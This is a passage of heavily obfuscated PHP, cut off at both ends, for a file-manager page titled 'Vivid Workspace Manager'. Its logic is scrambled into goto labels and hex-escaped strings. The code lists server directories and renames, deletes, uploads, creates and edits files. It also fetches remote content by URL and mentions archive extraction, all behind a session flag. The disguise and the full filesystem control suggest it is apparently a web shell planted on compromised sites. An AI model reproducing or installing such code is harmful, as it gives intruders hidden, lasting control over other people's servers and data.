B9gnc; DXd5s: } goto GOdpt; ExL01: foreach ($v7WxV as $Ei6vG) { goto IRhpu; WrC05: ePw0s: goto lTI2n; HJO_4: a1puK: goto Tpr2T; GRpY2: $RKVRy[] = $Ei6vG; goto LR_0i; FAKVe: goto BB1jS; goto z6h7o; XDEUF: goto ePw0s; goto HJO_4; LR_0i: BB1jS: goto WrC05; cXVBQ: $M1ewI[] = $Ei6vG; goto FAKVe; z6h7o: qj_59: goto GRpY2; Tpr2T: $xAY2y = $UyGf4 . "\x2f" . $Ei6vG; goto n754H; n754H: if (is_dir($xAY2y)) { goto qj_59; } goto cXVBQ; IRhpu: if (!($Ei6vG === "\x2e" || $Ei6vG === "\56\x2e")) { goto a1puK; } goto XDEUF; lTI2n: } goto KxLIM; Jhmnc: if (rename($Cc3_N, $N1y8k)) { goto Sv1yi; } goto AoLSc; lhRVK: foreach ($RKVRy as $pbEsz) { goto DrSWy; Mk0DM: echo htmlspecialchars($pbEsz); goto suB9R; qJH3K: echo is_writable($UyGf4 . "\57" . $pbEsz) ? "\131\x65\163" : "\x4e\x6f"; goto Xp9c9; suB9R: echo "\47\x29\x22\x20\x63\x6c\141\x73\163\75\42\x62\x67\55\x72\145\144\x2d\65\60\60\40\164\x65\x78\x74\x2d\167\150\151\164\x65\x20\x70\170\55\63\40\160\x79\55\61\40\162\157\165\x6e\x64\x65\144\x2d\154\x67\x20\x68\157\x76\x65\162\72\142\147\55\x72\145\144\x2d\x36\60\60\x20\166\x69\166\151\144\x2d\x74\162\x61\x6e\163\x69\x74\x69\x6f\156\x22\76\104\145\x6c\x65\164\145\x3c\57\x62\x75\164\164\157\156\76\15\xa\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x3c\57\164\x64\76\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x3c\x2f\x74\162\x3e\15\12\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20"; goto Zsxs3; XoWB3: echo htmlspecialchars($pbEsz); goto WPqgH; Zsxs3: Ncchf: goto BrSWK; xrN3w: echo urlencode($UyGf4 . "\57" . $pbEsz); goto sfYvD; Xp9c9: echo "\x3c\57\164\144\76\xd\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\74\164\144\40\x63\154\141\163\x73\75\x22\x70\55\64\x22\76"; goto hqXAb; qvI6f: echo "\74\x2f\164\x64\76\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\74\164\144\x20\143\154\141\163\x73\75\x22\160\55\64\x20\163\x70\x61\143\145\x2d\170\55\x33\x22\x3e\15\xa\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\74\x62\x75\164\x74\157\x6e\40\157\156\143\x6c\x69\143\153\75\x22\157\x70\145\156\122\x65\x6e\141\155\145\x44\x69\141\154\x6f\x67\x28\47"; goto XoWB3; WPqgH: echo "\47\x29\42\40\143\x6c\x61\163\x73\x3d\x22\142\147\55\x79\145\x6c\154\x6f\x77\x2d\65\60\60\x20\164\x65\x78\164\x2d\167\x68\x69\x74\x65\40\160\170\x2d\x33\x20\160\x79\55\61\x20\162\x6f\165\x6e\144\145\144\55\x6c\147\x20\x68\157\x76\x65\162\72\142\147\x2d\x79\145\154\154\x6f\167\x2d\x36\x30\x30\x20\x76\151\166\x69\144\x2d\164\x72\x61\x6e\x73\151\164\x69\157\x6e\x22\x3e\122\145\156\141\155\145\x3c\57\x62\165\164\x74\157\x6e\76\15\xa\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x3c\x62\x75\164\164\157\x6e\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\x63\157\156\x66\151\162\155\104\145\x6c\x65\164\x65\x28\x27"; goto Mk0DM; sfYvD: echo "\42\40\x63\x6c\x61\163\163\x3d\42\164\145\x78\x74\x2d\166\x69\166\151\x64\x2d\x74\145\141\x6c\x20\150\157\166\145\x72\x3a\165\156\144\145\x72\154\151\156\x65\x22\76"; goto qA5YY; DrSWy: echo "\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x3c\164\x72\40\x63\154\141\163\x73\x3d\x22\x62\x6f\162\144\145\x72\55\164\40\x68\157\166\x65\x72\72\142\147\x2d\x67\x72\x61\x79\55\x35\x30\40\166\x69\166\151\x64\55\164\x72\x61\x6e\163\151\164\x69\157\156\42\76\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x3c\164\144\x20\x63\154\x61\163\163\75\42\x70\55\x34\x22\x3e\x3c\151\x20\x63\154\x61\163\163\75\42\x66\x61\163\x20\x66\141\x2d\x66\157\154\144\145\x72\x20\155\162\x2d\62\x20\164\x65\x78\164\55\166\151\x76\151\144\55\x74\145\x61\x6c\x22\76\74\x2f\151\x3e\74\x61\x20\x68\162\x65\x66\75\42\x3f\167\x6f\162\153\x73\x70\x61\143\145\75"; goto xrN3w; LV4k_: echo "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\15\xa\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\74\164\144\x20\x63\154\x61\x73\x73\x3d\42\160\55\x34\x22\76\106\157\154\144\145\x72\x3c\57\164\x64\76\xd\12\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\74\164\144\40\143\154\141\x73\x73\x3d\42\160\x2d\x34\x22\x3e\x2d\x3c\x2f\164\x64\x3e\15\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x3c\x74\x64\x20\143\x6c\x61\x73\x73\75\42\x70\55\x34\x22\x3e"; goto qJH3K; qA5YY: echo htmlspecialchars($pbEsz); goto LV4k_; hqXAb: echo date("\x59\x2d\155\x2d\x64\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $pbEsz)); goto qvI6f; BrSWK: } goto HrspV; V83w2: echo htmlspecialchars($_SESSION["\x63\x73\x72\x66\x5f\x74\x6f\x6b\145\x6e"]); goto OZfTN; B39ub: if (mkdir($isu4D, 0755)) { goto JKhRB; } goto zjQfB; scU2Z: v029G: goto ugX0X; nAVlY: fSqKS: goto joBYM; Conu0: goto SIh_6; goto EMeQw; ZGMPl: $f5xwD = realpath($_GET["\167\x6f\162\153\x73\x70\141\143\145"] . "\57" . $_GET["\151\164\x65\x6d"]); goto pIIY_; zjQfB: $DKH4N = "\x46\x61\x69\154\145\144\40\x74\x6f\40\143\x72\145\x61\x74\145\x20\146\157\x6c\x64\x65\162\x2e"; goto rAymK; Ucrww: $HcnX3->close(); goto LXZOP; MKafv: echo "\x22\x3e\15\12\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\x74\x20\x74\171\160\145\x3d\42\x66\x69\154\145\42\x20\x6e\141\x6d\145\x3d\x22\x75\160\154\x6f\141\144\x65\x64\137\151\164\x65\x6d\x22\40\x63\x6c\141\163\163\x3d\42\x66\x6c\145\x78\x2d\61\x20\160\55\63\x20\142\x6f\x72\144\145\x72\x20\x72\x6f\165\156\144\145\x64\x2d\x6c\147\x22\40\x72\145\x71\x75\151\x72\x65\144\76\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\74\142\x75\x74\164\157\x6e\40\x74\x79\160\145\75\42\x73\x75\142\x6d\x69\164\x22\40\x63\154\141\163\x73\x3d\42\x62\x67\55\x76\151\x76\151\144\x2d\x74\145\141\x6c\40\x74\x65\170\x74\x2d\167\150\x69\x74\145\x20\x70\x2d\x33\x20\x72\x6f\x75\x6e\144\x65\144\55\154\147\x20\150\157\166\145\162\72\x62\x67\x2d\166\x69\166\151\144\55\x74\145\141\154\x2d\x64\x61\x72\x6b\x20\x76\x69\166\151\x64\x2d\x74\162\141\x6e\x73\151\x74\x69\x6f\x6e\x22\76\125\160\154\x6f\141\144\74\x2f\x62\165\x74\x74\157\156\x3e\15\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\74\57\x66\157\x72\x6d\x3e\xd\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\74\x2f\x64\x69\166\76\15\xa\15\xa\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x3c\41\x2d\55\40\x46\x65\x74\x63\x68\40\x52\x65\155\x6f\x74\145\40\111\x74\145\x6d\40\55\55\x3e\xd\12\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20"; goto I43Nl; YNA75: if (!(isset($_POST["\x6d\x6f\x64\x69\x66\171\137\146\151\x6c\145"]) && !empty($_POST["\x69\x74\x65\155\137\156\x61\x6d\145"]))) { goto yHBos; } goto i0Qo7; cfqQy: $xAY2y = $UyGf4 . "\x2f" . $XSEgQ; goto xAZme; MELp7: $HcnX3->close(); goto U2HJ2; r8J0S: TNzCi: goto TaXVZ; sskkE: echo "\x22\x20\x63\154\x61\163\x73\75\42\x74\145\170\x74\55\166\x69\x76\151\x64\55\164\145\x61\154\40\150\x6f\x76\x65\162\72\x75\x6e\144\x65\162\154\x69\x6e\x65\x22\x3e\x2e\56\40\x28\120\141\162\145\x6e\164\x20\x57\157\162\153\x73\x70\x61\x63\145\x29\x3c\x2f\x61\76\x3c\x2f\164\144\76\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\74\164\x64\x20\143\154\141\x73\x73\x3d\x22\160\x2d\64\x22\76\x2d\74\x2f\164\x64\x3e\xd\xa\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x3c\164\144\x20\143\x6c\x61\x73\163\x3d\x22\160\x2d\64\42\x3e\55\x3c\x2f\x74\144\x3e\15\xa\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\x74\x64\40\143\154\141\163\x73\x3d\42\x70\x2d\x34\x22\x3e\x2d\74\57\x74\144\x3e\xd\xa\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\x20\74\164\144\x20\143\154\141\163\x73\x3d\x22\160\x2d\x34\x22\x3e\55\74\57\x74\144\x3e\15\12\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\74\164\x64\x20\x63\x6c\141\x73\163\75\42\160\x2d\x34\x22\x3e\74\57\x74\x64\x3e\xd\12\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\162\76\15\xa\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20"; goto Zrf0Y; mU9_h: s77P6: goto HJ2Jy; npAQS: echo "\xd\xa\x3c\x21\104\x4f\103\x54\131\x50\105\40\x68\x74\x6d\154\x3e\15\12\x3c\150\x74\155\154\x20\154\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\12\74\x68\145\141\x64\x3e\xd\12\x20\x20\x20\x20\74\x6d\x65\164\141\40\x63\x68\141\x72\x73\145\x74\75\x22\125\x54\106\x2d\70\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\145\164\x61\x20\156\x61\155\145\x3d\x22\166\151\145\167\160\157\x72\x74\42\x20\143\157\156\164\x65\x6e\164\75\x22\x77\151\x64\x74\x68\75\x64\145\x76\x69\x63\x65\55\x77\151\144\x74\x68\x2c\40\151\x6e\151\x74\x69\141\x6c\x2d\x73\x63\x61\x6c\x65\75\x31\56\x30\x22\x3e\15\xa\x20\40\40\40\x3c\x74\x69\x74\154\145\76\x56\x69\166\151\x64\x20\x57\157\162\153\x73\160\x61\143\x65\40\115\x61\156\141\147\x65\x72\x3c\57\164\x69\164\x6c\145\76\15\12\40\40\40\40\x3c\163\143\x72\x69\160\x74\x20\163\x72\143\x3d\42\x68\164\x74\x70\163\72\x2f\x2f\x63\144\156\x2e\164\141\x69\154\x77\x69\x6e\144\x63\163\x73\x2e\143\157\x6d\42\x3e\x3c\57\163\x63\162\x69\160\x74\76\15\12\40\40\40\40\x3c\163\143\x72\151\160\164\x20\x73\x72\x63\x3d\x22\150\164\x74\160\x73\x3a\x2f\x2f\x6b\151\164\56\x66\x6f\x6e\x74\x61\x77\145\x73\157\x6d\145\56\143\x6f\155\57\x61\x30\x37\x36\144\x30\65\x33\71\71\56\x6a\163\42\40\143\x72\157\163\x73\x6f\x72\x69\x67\x69\156\75\x22\x61\156\x6f\156\171\155\157\165\x73\x22\76\74\57\x73\143\x72\151\x70\164\x3e\xd\xa\x20\40\40\40\x3c\163\x74\x79\154\x65\x3e\15\12\x20\40\x20\40\x20\40\40\40\x2e\142\x67\x2d\x76\x69\x76\x69\144\55\x73\x6c\141\164\x65\x20\x7b\x20\x62\x61\x63\153\x67\x72\157\x75\156\x64\x2d\143\157\x6c\x6f\x72\72\40\43\x65\x32\x65\x38\x66\60\x3b\x20\x7d\xd\12\x20\x20\x20\40\40\x20\40\40\56\x62\x67\55\166\x69\166\x69\144\55\164\145\x61\154\40\173\x20\x62\141\x63\x6b\147\162\157\165\x6e\x64\55\x63\x6f\154\157\162\72\40\x23\61\x34\142\x38\x61\66\x3b\40\x7d\xd\xa\x20\40\x20\40\40\x20\x20\x20\56\142\x67\55\166\151\x76\151\x64\55\x74\145\x61\154\x2d\144\141\x72\153\40\x7b\40\x62\141\143\153\147\x72\x6f\x75\x6e\144\55\x63\157\154\x6f\162\72\x20\43\60\146\67\x36\x36\x65\73\40\175\xd\12\40\40\x20\40\x20\40\40\x20\x2e\164\145\x78\164\55\166\x69\166\x69\x64\x2d\x63\x68\x61\162\x63\x6f\x61\x6c\40\x7b\x20\x63\157\154\x6f\x72\x3a\40\x23\x31\61\x31\70\x32\x37\x3b\40\x7d\xd\xa\x20\x20\40\x20\x20\40\40\x20\x2e\166\151\166\x69\x64\55\x74\162\141\x6e\163\x69\164\151\157\x6e\40\x7b\x20\164\162\141\x6e\163\151\x74\151\157\x6e\72\40\x61\154\154\40\60\x2e\63\163\40\x65\141\x73\145\x2d\x69\156\x2d\157\x75\x74\73\x20\175\15\xa\40\40\x20\40\x20\x20\40\40\x2e\x76\151\x76\x69\x64\55\x68\x6f\x76\x65\162\40\x7b\40\x74\x72\x61\x6e\x73\151\x74\151\x6f\x6e\x3a\x20\164\162\x61\x6e\x73\x66\157\x72\x6d\40\60\x2e\x32\x73\54\x20\142\157\x78\x2d\163\x68\141\144\157\167\x20\60\56\x32\x73\73\40\175\15\xa\40\40\x20\40\x20\40\40\40\x2e\166\x69\x76\x69\144\55\150\157\x76\145\x72\x3a\x68\157\166\145\162\40\x7b\x20\164\162\x61\156\163\146\157\162\155\x3a\x20\x74\162\x61\156\163\154\141\x74\x65\x59\x28\55\62\x70\x78\x29\x3b\40\x62\x6f\170\x2d\x73\150\141\x64\157\x77\x3a\x20\x30\x20\64\160\170\40\x36\160\x78\40\162\147\x62\141\50\x30\x2c\x20\x30\x2c\40\x30\54\x20\x30\56\61\51\x3b\40\x7d\xd\xa\40\40\x20\40\x20\x20\40\40\56\x73\x74\151\x63\x6b\171\55\x68\x65\141\x64\x65\162\40\164\x68\x20\x7b\40\160\x6f\x73\151\164\x69\157\x6e\72\x20\x73\164\x69\143\x6b\x79\x3b\x20\164\157\160\72\40\x30\x3b\40\142\x61\x63\153\147\162\x6f\165\x6e\144\x3a\x20\43\x66\x33\x66\x34\x66\x36\x3b\40\172\55\x69\156\x64\x65\170\x3a\40\x31\x30\73\x20\x7d\xd\xa\40\40\x20\x20\x3c\57\x73\164\171\x6c\x65\76\15\xa\x3c\x2f\x68\145\x61\x64\76\15\xa\x3c\x62\157\144\x79\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\147\55\x76\151\x76\x69\x64\55\163\x6c\x61\164\145\x20\155\151\x6e\x2d\150\55\x73\x63\162\145\145\156\42\76\xd\12\40\x20\40\x20\74\144\x69\166\40\x63\154\x61\163\163\75\42\143\157\156\164\141\151\x6e\x65\x72\x20\155\170\55\141\165\164\x6f\x20\160\55\x36\x22\x3e\xd\xa\40\x20\40\40\x20\x20\40\x20\74\150\x31\x20\143\154\141\x73\163\x3d\x22\164\x65\170\164\x2d\x34\170\154\x20\146\157\156\164\55\x62\157\x6c\x64\40\155\142\x2d\x38\x20\x74\x65\170\164\55\x76\x69\x76\151\x64\x2d\x63\x68\x61\x72\143\157\141\154\42\x3e\126\151\166\151\144\40\127\157\x72\153\x73\x70\141\x63\x65\40\115\141\x6e\141\x67\x65\x72\74\57\x68\61\76\xd\12\xd\12\x20\x20\x20\x20\x20\40\x20\x20\74\x21\55\55\x20\x50\x61\x74\x68\x20\x43\x72\165\x6d\x62\x73\x20\x2d\x2d\x3e\15\12\40\40\40\x20\x20\40\40\x20\x3c\156\x61\166\40\x63\154\x61\x73\163\x3d\42\x6d\x62\x2d\66\40\x74\145\170\164\x2d\x6c\x67\40\x66\x6c\x65\170\x20\151\164\145\155\163\55\x63\145\x6e\x74\x65\x72\x22\x3e"; goto pT5Cn; mGJZ_: echo htmlspecialchars($DKH4N); goto OEbq_; xNlQn: KXaXc: goto fP2_W; Bdm1a: $Vjqae = strtolower(pathinfo($XSEgQ, PATHINFO_EXTENSION)); goto yH4Cb; OPJ29: $DKH4N = "\106\141\x69\154\145\x64\x20\164\x6f\x20\x63\x72\145\141\x74\145\40\146\151\x6c\145\x2e"; goto GpF7q; FZOWP: goto wU4e6; goto R7O4_; rAymK: goto QuW09; goto P9s45; MYnzS: if (!($_SERVER["\x52\x45\121\x55\105\123\124\x5f\x4d\105\x54\x48\117\104"] === "\x50\117\x53\x54" && isset($_POST["\143\163\x72\x66\x5f\x74\157\153\145\x6e"]) && $_POST["\143\x73\162\x66\x5f\164\157\x6b\x65\156"] === $_SESSION["\143\x73\x72\146\x5f\x74\157\153\x65\156"])) { goto T0tH9; } goto X174h; AeSrz: $AUqcU = @file_get_contents($MhPPM); goto H5acy; efl0n: echo "\42\x3e\xd\12\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\40\74\x69\156\x70\165\164\x20\x74\x79\160\145\75\42\150\x69\x64\x64\145\x6e\42\x20\151\144\75\x22\x65\144\151\x74\x49\x74\x65\x6d\116\141\155\x65\42\40\x6e\141\x6d\x65\75\42\x69\164\145\x6d\137\x6e\x61\x6d\x65\x22\76\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x3c\164\145\x78\x74\x61\162\x65\141\x20\151\x64\x3d\x22\145\x64\151\164\111\x74\145\x6d\103\157\156\x74\x65\x6e\x74\42\40\x6e\x61\155\145\75\x22\x69\x74\145\155\x5f\143\x6f\156\x74\x65\x6e\x74\42\40\x63\154\x61\163\163\x3d\x22\x77\55\x66\x75\x6c\154\x20\x68\x2d\70\x30\40\x70\x2d\x33\x20\x62\157\162\144\145\x72\x20\x72\x6f\x75\x6e\x64\x65\144\x2d\x6c\147\x20\x6d\x62\x2d\x36\x20\146\157\x63\x75\x73\x3a\x6f\165\x74\154\151\156\145\55\x6e\x6f\x6e\x65\40\146\157\x63\x75\x73\x3a\x72\151\156\x67\x2d\62\x20\x66\157\143\165\163\72\162\x69\x6e\147\x2d\x76\x69\x76\151\144\x2d\x74\145\141\x6c\42\76\x3c\x2f\x74\x65\170\164\141\x72\145\141\x3e\xd\xa\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x3c\144\x69\166\40\143\x6c\x61\163\x73\75\42\146\x6c\x65\170\40\152\x75\163\x74\151\146\x79\x2d\145\156\x64\x20\x73\x70\141\143\145\55\x78\55\63\42\x3e\15\12\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\40\x3c\x62\165\x74\164\157\x6e\40\164\x79\160\x65\x3d\42\163\165\x62\x6d\x69\x74\x22\40\x6e\x61\155\145\75\x22\155\x6f\x64\x69\146\x79\x5f\x66\151\x6c\x65\42\x20\143\154\141\163\x73\x3d\42\x62\x67\55\x67\x72\145\x65\x6e\x2d\65\x30\60\40\164\145\x78\164\x2d\167\150\151\x74\145\x20\160\x78\55\65\x20\160\171\x2d\62\x20\x72\157\x75\156\x64\x65\144\x2d\x6c\147\x20\150\x6f\x76\145\162\72\142\x67\55\147\x72\x65\x65\x6e\55\x36\60\60\x20\x76\x69\x76\151\144\55\x74\162\x61\x6e\x73\151\x74\151\x6f\x6e\42\x3e\123\141\166\x65\x3c\57\x62\165\x74\x74\x6f\x6e\76\xd\12\40\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\40\40\40\40\x3c\142\165\164\164\157\156\40\x74\171\160\145\x3d\x22\x62\x75\164\x74\x6f\156\x22\x20\x6f\156\143\154\151\x63\x6b\75\42\x63\154\x6f\163\x65\x44\x69\x61\x6c\157\147\x28\47\x65\144\x69\x74\104\x69\x61\x6c\x6f\147\x27\51\x22\40\143\x6c\141\x73\x73\x3d\x22\x62\x67\55\x67\162\141\171\x2d\x35\x30\x30\40\x74\145\x78\164\55\x77\x68\x69\x74\x65\40\160\170\x2d\65\40\x70\171\x2d\62\40\162\157\x75\156\x64\x65\x64\x2d\154\x67\x20\150\157\166\x65\x72\x3a\x62\x67\x2d\147\162\141\x79\x2d\66\60\60\x20\x76\x69\166\x69\144\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\x6e\x22\76\103\x61\x6e\x63\x65\x6c\74\x2f\x62\165\164\x74\x6f\x6e\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x3c\57\144\151\x76\76\15\xa\40\x20\x20\40\40\40\40\40\40\x20\x20\40\74\x2f\x66\157\x72\155\76\xd\12\x20\x20\40\40\x20\x20\x20\40\74\57\x64\x69\166\76\xd\xa\x20\x20\40\40\x3c\x2f\144\x69\x76\76\xd\12\xd\xa\40\40\x20\x20\x3c\x21\x2d\55\x20\x52\x65\x6e\x61\x6d\x65\x20\x44\151\141\154\157\147\40\55\x2d\x3e\xd\12\x20\40\40\x20\74\x64\x69\166\40\x69\x64\75\x22\x72\x65\x6e\141\155\145\104\151\x61\154\x6f\147\x22\40\x63\154\141\163\163\x3d\x22\x66\151\170\145\144\40\x69\156\x73\145\164\55\x30\40\142\x67\55\147\x72\141\171\55\x36\x30\x30\x20\x62\147\x2d\157\160\x61\143\151\x74\171\55\x35\60\x20\x68\x69\x64\144\145\156\40\x69\164\x65\155\x73\x2d\143\145\156\x74\x65\162\40\152\x75\x73\164\151\x66\x79\55\143\x65\x6e\164\x65\x72\40\x76\151\166\151\144\x2d\164\x72\x61\x6e\x73\x69\164\x69\157\x6e\42\x3e\15\xa\x20\40\40\x20\40\x20\40\40\74\x64\151\166\40\143\x6c\x61\x73\x73\75\42\142\x67\x2d\167\150\151\164\145\x20\160\x2d\x38\x20\x72\157\x75\156\x64\x65\144\55\170\154\40\x73\x68\x61\x64\x6f\x77\55\x78\154\40\167\55\x66\165\x6c\154\x20\x6d\x61\x78\55\167\55\155\144\40\x74\x72\x61\156\x73\146\x6f\162\x6d\x20\x73\x63\141\154\145\55\71\x35\40\166\151\x76\151\144\55\x74\x72\x61\x6e\163\151\x74\x69\157\156\42\x3e\xd\xa\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\74\x68\62\x20\143\154\141\x73\163\x3d\x22\164\145\x78\164\x2d\62\x78\154\x20\x66\157\x6e\x74\55\142\157\154\144\x20\155\x62\x2d\x36\x20\164\145\x78\164\55\166\151\166\x69\144\55\x63\x68\141\x72\x63\157\141\x6c\42\x3e\x52\145\x6e\141\155\145\40\x49\x74\145\155\x3c\57\x68\62\76\15\12\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x3c\x66\157\162\155\x20\151\x64\x3d\x22\x72\x65\156\141\x6d\x65\x46\x6f\162\155\x22\40\155\x65\x74\x68\157\x64\x3d\x22\160\x6f\163\164\x22\76\15\12\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\x3c\151\x6e\x70\165\x74\x20\x74\x79\160\x65\x3d\x22\x68\x69\x64\144\x65\x6e\42\x20\x6e\141\155\x65\75\42\x63\163\162\146\137\x74\157\x6b\145\156\42\40\x76\x61\154\165\x65\x3d\x22"; goto qhhxa; LRz_K: $DKH4N = "\111\156\x76\x61\x6c\x69\x64\40\x72\x65\155\157\164\x65\x20\x55\122\x4c\56"; goto SRHNn; F7tPf: if (!$aBnyl) { goto bPia2; } goto o7tkz; TuFpl: $DKH4N = "\101\162\143\150\151\x76\145\x20\x6e\157\x74\x20\146\157\165\x6e\x64\x20\157\x72\40\x5a\151\160\101\162\143\x68\151\x76\145\40\x6e\157\164\x20\141\166\141\x69\154\141\x62\154\145\x2e"; goto UdP8y; Kv3l1: if (unlink($xAY2y)) { goto PqdoF; } goto vNZlm; nxE40: T0tH9: goto lT00_; f8J_i: if (!file_exists($mROC6)) { goto dfEiu; } goto iPIq9; j5f23: $k0Bn2 = 10 * 1024 * 1024; goto CDKG1; o7tkz: if (!(!isset($_SESSION["\163\145\143\165\x72\145\137\163\x65\163\163\151\x6f\156"]) || $_SESSION["\x73\145\143\x75\162\x65\137\x73\145\x73\x73\151\157\x6e"] !== true)) { goto we6Y3; } goto KCWei; KsqrH: hViYW: goto qM33z; N3l0l: $_SESSION["\x73\x65\143\x75\x72\x65\137\x73\145\x73\x73\151\x6f\x6e"] = true; goto JENU1; I43Nl: if (!$st1pL) { goto OId96; } goto atiNZ; v4fkp: $N1y8k = $UyGf4 . "\57" . $Nu004; goto grGj9; K2rz_: echo "\42\x3e\xd\12\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\74\151\x6e\x70\165\x74\x20\x74\x79\160\x65\75\42\150\151\x64\144\x65\156\42\x20\x6e\141\x6d\x65\75\42\x69\x74\x65\x6d\x5f\x6e\x61\x6d\145\42\x20\166\141\154\165\x65\x3d\42\44\173\151\164\x65\155\116\x61\x6d\145\x7d\x22\76\xd\xa\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\74\x69\156\x70\165\x74\x20\x74\x79\x70\145\x3d\42\150\x69\x64\144\145\x6e\x22\40\156\141\155\145\x3d\x22\x64\145\x6c\x65\164\145\137\151\164\145\155\x22\x20\x76\141\x6c\x75\145\75\42\61\x22\76\xd\12\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x60\73\xd\xa\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x64\x6f\143\165\155\145\156\164\x2e\142\157\144\171\56\141\x70\160\145\x6e\x64\103\150\x69\154\x64\x28\146\157\x72\x6d\51\73\15\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\146\x6f\x72\155\x2e\x73\165\x62\155\x69\x74\50\51\73\xd\12\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x7d\xd\12\40\40\x20\40\x20\40\x20\x20\x7d\xd\12\15\12\x20\40\40\x20\40\x20\40\40\146\165\x6e\x63\x74\151\x6f\156\x20\x6f\x70\x65\x6e\x44\151\141\154\157\x67\50\144\151\x61\x6c\157\147\111\x64\x29\x20\x7b\15\12\40\40\x20\40\x20\40\40\x20\40\x20\40\40\x63\157\156\x73\164\40\144\x69\141\154\x6f\x67\x20\x3d\40\x64\x6f\143\165\x6d\x65\x6e\164\56\x67\145\164\105\154\145\155\x65\156\164\x42\171\x49\144\x28\x64\x69\141\154\157\x67\111\x64\x29\x3b\xd\12\40\x20\40\40\40\40\x20\40\40\40\x20\40\x64\x69\x61\154\x6f\147\x2e\x63\154\x61\x73\x73\114\151\163\x74\x2e\162\x65\x6d\157\166\145\x28\47\150\x69\x64\144\x65\x6e\x27\x29\73\xd\12\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\144\x69\141\154\157\147\56\143\154\x61\163\163\114\151\x73\x74\x2e\x61\x64\x64\50\47\146\x6c\145\170\47\x29\x3b\15\xa\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\163\145\164\124\x69\155\x65\157\x75\x74\x28\x28\51\x20\75\76\x20\x7b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x64\x69\141\154\x6f\x67\x2e\161\x75\145\x72\x79\x53\x65\x6c\x65\x63\164\x6f\x72\x28\x27\56\x74\162\141\156\163\146\x6f\162\155\47\51\56\x63\154\x61\163\163\x4c\x69\x73\164\56\162\x65\x6d\x6f\166\145\50\x27\x73\x63\141\154\x65\x2d\71\65\47\51\x3b\xd\xa\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x7d\x